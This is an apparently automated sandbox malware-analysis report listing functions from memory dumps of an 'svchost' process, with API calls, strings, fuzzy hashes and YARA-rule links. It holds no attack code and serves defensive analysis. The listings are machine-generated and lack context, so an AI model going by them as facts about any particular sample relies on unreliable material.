Instruction Fuzzy Hash: E621393AB1AB5581E712AF12E814229B374FB46FD4F180431EE8D07B99CF7CD4458708

Function 64946E80 Relevance: 10.5, APIs: 7, Instructions: 46COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 64946EA5
OpenProcess.KERNEL32 ref: 64946EC1
CloseHandle.KERNEL32 ref: 64946ECF
_errno.MSVCRT ref: 64946EF3

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen_errno
String ID:
API String ID: 2250453136-0
Opcode ID: 647cea97fea39e1f8afd9dff8aee47f7913a4ca09984285e2b8a4a307c22f2b2
Instruction ID: c4dd9a8f5984872ef2400fb7ba57e55cf54f323c349d37ceb4cc8f7486eb7d88
Opcode Fuzzy Hash: 647cea97fea39e1f8afd9dff8aee47f7913a4ca09984285e2b8a4a307c22f2b2
Instruction Fuzzy Hash: ED01B57538570183EB1D5F65D84831E26E79F4BB69F144228DE29423E1EF3EC968C620

Function 64942D50 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: fa800a1db800350b0fed09132d4c30b4d464a2c5f92782d6f3b1fde1cd7d91d6
Instruction ID: 9532cd4f251b3658310ae2195131a0e08aaebdb09fc5c0f89b68fa3098675641
Opcode Fuzzy Hash: fa800a1db800350b0fed09132d4c30b4d464a2c5f92782d6f3b1fde1cd7d91d6
Instruction Fuzzy Hash: 0331AE227855018AFB168F75E90479A63A6FB85BE9F188535CE18CB384EF38C891C350

Function 649449D0 Relevance: 9.1, APIs: 6, Instructions: 104sleepthreadCOMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 64944A13
GetCurrentThreadId.KERNEL32 ref: 64944A19
CloseHandle.KERNEL32 ref: 64944A76
Sleep.KERNEL32 ref: 64944ACB
_endthreadex.MSVCRT ref: 64944ADB
TlsSetValue.KERNEL32 ref: 64944B7D

Part of subcall function 649444D0: __iob_func.MSVCRT ref: 64944501

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Value$CloseCurrentHandleSleepThread__iob_func_endthreadex
String ID:
API String ID: 2572950730-0
Opcode ID: 41b3f4f05ea4d5a442d3e756eee48522d3bf42455cc12e4d92245cde5d4bd361
Instruction ID: b6c95add572710b94ebec18b46ddd7a509098b6565972d843aeaf9d7d1c37827
Opcode Fuzzy Hash: 41b3f4f05ea4d5a442d3e756eee48522d3bf42455cc12e4d92245cde5d4bd361
Instruction Fuzzy Hash: 8C413C35280B0085EB24DF32D8903AE27A5FB99BECF095226DE1E577A4DF38C495CB50

Function 64942C10 Relevance: 9.1, APIs: 6, Instructions: 97synchronizationthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 64942C62
WaitForSingleObject.KERNEL32(?,?,?,?,64941698), ref: 64942CAD

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CurrentObjectSingleThreadWait
String ID:
API String ID: 1728940165-0
Opcode ID: ad35e8303b8d8428d97bb6b51cf9c3b71cc4d122781135cfe85f96bea711820f
Instruction ID: 34c95b49e9a65028a90b0e91656b60c0aa03b26a43158414cd96aabb3d2393cf
Opcode Fuzzy Hash: ad35e8303b8d8428d97bb6b51cf9c3b71cc4d122781135cfe85f96bea711820f
Instruction Fuzzy Hash: 7931A5367812058BEB068F35E94078A22A6F745BDEF288574CE0CCB344FE39C891C760

Function 00007FFDA55CB7A0 Relevance: 9.1, APIs: 6, Instructions: 88encryptionCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,00000000,?,00007FFDA55CDBDC), ref: 00007FFDA55CB812
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,00000000,?,00007FFDA55CDBDC), ref: 00007FFDA55CB835
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?,00000000,?,00007FFDA55CDBDC), ref: 00007FFDA55CB867
CertCloseStore.CRYPT32 ref: 00007FFDA55CB880
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,00000000,?,00007FFDA55CDBDC), ref: 00007FFDA55CB889
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00007FFDA55CDBDC), ref: 00007FFDA55CB893

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$CertCloseStore_strdupcallocmalloc
String ID:
API String ID: 1848418515-0
Opcode ID: 5faf728eb462a36751afea2e00b5c60b4713b7117fe3682ada99c731608e7726
Instruction ID: 23a006cb59d1ac5507ae2314c8e84932da297a40e136bd6b3cb651a225693197
Opcode Fuzzy Hash: 5faf728eb462a36751afea2e00b5c60b4713b7117fe3682ada99c731608e7726
Instruction Fuzzy Hash: 12317C2AB0BB8685EB16DF23A86037963A0FF49F94F484035DE5D07B56DF38E4958308

Function 00007FFDA55A4620 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 78COMMON

Download Yara Rule

Strings

transfer buffer size is 0, xrefs: 00007FFDA55A4674
attempt to borrow xfer_buf when already borrowed, xrefs: 00007FFDA55A4696
could not allocate xfer_buf of %zu bytes, xrefs: 00007FFDA55A472C
transfer has no multi handle, xrefs: 00007FFDA55A4651

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: attempt to borrow xfer_buf when already borrowed$could not allocate xfer_buf of %zu bytes$transfer buffer size is 0$transfer has no multi handle
API String ID: 0-2388664328
Opcode ID: 59ba4c3927c6c3a9a0c2c74c0a87f7fc254b4a362eaf655a95ac167fbeeeb36b
Instruction ID: 1eedca272aed18eda4de9504040e8aa9b135a81be78ebd87349dc3d6c4609cfe
Opcode Fuzzy Hash: 59ba4c3927c6c3a9a0c2c74c0a87f7fc254b4a362eaf655a95ac167fbeeeb36b
Instruction Fuzzy Hash: 60416D3A70AB89C0EB42DF95E4A43B93360EB86F84F588432DE4D47356CF39D4858714

Function 00007FFDA55A47A0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 78COMMON

Download Yara Rule

Strings

attempt to borrow xfer_ulbuf when already borrowed, xrefs: 00007FFDA55A4816
could not allocate xfer_ulbuf of %zu bytes, xrefs: 00007FFDA55A48AC
transfer has no multi handle, xrefs: 00007FFDA55A47D1
transfer upload buffer size is 0, xrefs: 00007FFDA55A47F4

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: attempt to borrow xfer_ulbuf when already borrowed$could not allocate xfer_ulbuf of %zu bytes$transfer has no multi handle$transfer upload buffer size is 0
API String ID: 0-290960075
Opcode ID: 8739eec3fdf5686d42da1d708e43649691837330acd978fcdfac19125c951631
Instruction ID: a03d918efa4f5239838206ab37c587a7f14798b0e469cd2437d2bd1cf48307b7
Opcode Fuzzy Hash: 8739eec3fdf5686d42da1d708e43649691837330acd978fcdfac19125c951631
Instruction Fuzzy Hash: 08413D3AB0ABC6C1EB51DF95E4A43B833A0EB85F84F588432DE4D57396CE39D4958314

Function 64945340 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 64944560: TlsGetValue.KERNEL32 ref: 6494457C

TlsGetValue.KERNEL32 ref: 6494537B
CloseHandle.KERNEL32 ref: 649453A6
_endthreadex.MSVCRT ref: 649453BC
CloseHandle.KERNEL32 ref: 649453DD
TlsSetValue.KERNEL32 ref: 649453FD
CloseHandle.KERNEL32 ref: 64945414

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CloseHandleValue$_endthreadex
String ID:
API String ID: 3955988603-0
Opcode ID: b7945b1e01c22a34e39ac6e8360c113142cd86d22e17861272ae90291c3e3858
Instruction ID: 91f102dbb4e4c7d839af2ef950484d69c9086b08797906d5a721fd90f77057ec
Opcode Fuzzy Hash: b7945b1e01c22a34e39ac6e8360c113142cd86d22e17861272ae90291c3e3858
Instruction Fuzzy Hash: C0217932285B40C2EB1ADF61E45436D3BB6EB85F68F594029CF0A0B394DFB9C849C750

Function 64947A00 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 295memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,?,?,?,?,64949064,?,?,?,?,649412F5), ref: 64947BB0
VirtualProtect.KERNEL32(?,?,?,?,?,?,64949064,?,?,?,?,649412F5), ref: 64947BD2

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 649479CC, 64947CD6
Unknown pseudo relocation protocol version %d., xrefs: 64947CED
Unknown pseudo relocation bit size %d., xrefs: 64947C8C

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$ VirtualQuery failed for %d bytes at address %p
API String ID: 1027372294-974437099
Opcode ID: e0f154f0bd97eae7fb13bd6116e2de9bfce756cd8e3c01188d1299480cc220fd
Instruction ID: dbc6561fcfc5939c46aa7cdc6d716169bef66825e7e028ef0cbcfa92e83a18d9
Opcode Fuzzy Hash: e0f154f0bd97eae7fb13bd6116e2de9bfce756cd8e3c01188d1299480cc220fd
Instruction Fuzzy Hash: 3FA165797916084AFB00EB31E89031A7363F745BE8F048A61CE1C4B7A8DB3DC586C350

Function 00007FFDA557E470 Relevance: 8.8, APIs: 7, Instructions: 44COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E4B7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E4C1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E4CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E4D5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E4DF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E4E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E517

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 97e6894c87ec5926fb62101717520f73b06dfd11fea57b84039e26209f540738
Instruction ID: 8c7dbdfc0408cdcb265466f0012d83eae31c8e231b53082a9501fefd597b081a
Opcode Fuzzy Hash: 97e6894c87ec5926fb62101717520f73b06dfd11fea57b84039e26209f540738
Instruction Fuzzy Hash: 6E11007EB1AB4582DB129F26E8542396374FB89F95F181031EE4E03B59CF3CD4858714

Function 64943360 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 34COMMON

Download Yara Rule

APIs

__iob_func.MSVCRT ref: 649433A8

Strings

../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 649433B6
(, xrefs: 649433AE
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 649433C1
Assertion failed: (%s), file %s, line %d, xrefs: 649433C8

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: __iob_func
String ID: ($(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/rwlock.c$Assertion failed: (%s), file %s, line %d
API String ID: 686374508-3651547468
Opcode ID: 7bff3dde8ce2c9ddfee02efadf41117ec0380b55c006dc73d75c7ed4cc5f8649
Instruction ID: 49758d916bec52361b93001baeb39d1493085cd40ca709cf8d0fcfd1233c8ec3
Opcode Fuzzy Hash: 7bff3dde8ce2c9ddfee02efadf41117ec0380b55c006dc73d75c7ed4cc5f8649
Instruction Fuzzy Hash: AA01493679150996EB14EF39E89478E3BA1F795B58FC98022C90C47320DF39C99BC7A0

Function 00007FFDA5590530 Relevance: 7.7, APIs: 6, Instructions: 222stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,00007FFDA5590401), ref: 00007FFDA559056E
strchr.VCRUNTIME140(?,?,?,?,?,00007FFDA5590401), ref: 00007FFDA5590583
memmove.VCRUNTIME140(?,?,?,?,?,00007FFDA5590401), ref: 00007FFDA5590686
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5590401), ref: 00007FFDA5590709
memmove.VCRUNTIME140(?,?,?,?,?,00007FFDA5590401), ref: 00007FFDA559072B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5590401), ref: 00007FFDA5590807

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: memmovestrchr$callocfree
String ID:
API String ID: 715457610-0
Opcode ID: 8fb391e395c99c9712a29529522406e9002af3bea64d3d088657d6242ad11739
Instruction ID: 37a52373adaa2561528173eccb05e6a1843412699553b7922ae4d7cb8c0211f7
Opcode Fuzzy Hash: 8fb391e395c99c9712a29529522406e9002af3bea64d3d088657d6242ad11739
Instruction Fuzzy Hash: 7181E96AB0A6DEC5EB624F9595243B967E5AF47F90F480531DA8C027E3DF2CD4428708

Function 00007FFDA55967D0 Relevance: 7.6, APIs: 6, Instructions: 88COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA559681C
memmove.VCRUNTIME140(?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA559683A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA559689B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA55968A5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA55968AF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA55968CA

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$callocmemmove
String ID:
API String ID: 2309541529-0
Opcode ID: 5a28a946c427f8c4b9c54dd4f2aa893310d1956935542d2192d50d91f028810d
Instruction ID: 3936bbcc0bbe3bcce70f5e008a578cfdff27b391025a7a56b10560880ef763b0
Opcode Fuzzy Hash: 5a28a946c427f8c4b9c54dd4f2aa893310d1956935542d2192d50d91f028810d
Instruction Fuzzy Hash: D3314F6AB0AA0581EB52DF15E86436963B0FF86F84F540035EE5D07B56DF3CE845C344

Function 00007FFDA558D4FF Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558D5A4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558D5C8

Strings

SITE NAMEFMT 1, xrefs: 00007FFDA558D57A
OS/400, xrefs: 00007FFDA558D567

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: OS/400$SITE NAMEFMT 1
API String ID: 1294909896-2049154998
Opcode ID: b103e050b99080ea7252de3348955a1dcc85e73f80beeb0ad254a0c927e6aad0
Instruction ID: 606359225da7a1ffc88ca6f21817e9eff132eafbbbf72ee1569e92858378093b
Opcode Fuzzy Hash: b103e050b99080ea7252de3348955a1dcc85e73f80beeb0ad254a0c927e6aad0
Instruction Fuzzy Hash: E631A25AB0E7CA81EB279F2594743B927E09F43F84F844072DA4E07783EE2CE4449A14

Function 649464A0 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

CreateSemaphoreA.KERNEL32 ref: 6494650C
_errno.MSVCRT ref: 6494654D
_errno.MSVCRT ref: 64946560
_errno.MSVCRT ref: 64946573
_errno.MSVCRT ref: 64946586

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: _errno$CreateSemaphore
String ID:
API String ID: 4016566793-0
Opcode ID: 589d0227ed7358cdbab2bd92d4174e6ec32cd5d37d7a8e4e3cf95ff430ec2371
Instruction ID: b79095f19616a0e1c0eed2ee7e78f77239b15f2aeb5a75ddd7e641c4488f5580
Opcode Fuzzy Hash: 589d0227ed7358cdbab2bd92d4174e6ec32cd5d37d7a8e4e3cf95ff430ec2371
Instruction Fuzzy Hash: 9011B1B2BC56008AF7195F39D9003492AA6AB9ABB4F189324CE29433C4DF3CCC51CB60

Function 00007FFDA55B3800 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FFDA559F6ED,?,?,?,00007FFDA55862D9), ref: 00007FFDA55B3829
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFDA559F6ED,?,?,?,00007FFDA55862D9), ref: 00007FFDA55B383C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFDA559F6ED,?,?,?,00007FFDA55862D9), ref: 00007FFDA55B3850
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFDA559F6ED,?,?,?,00007FFDA55862D9), ref: 00007FFDA55B38C7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFDA559F6ED,?,?,?,00007FFDA55862D9), ref: 00007FFDA55B38D3

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
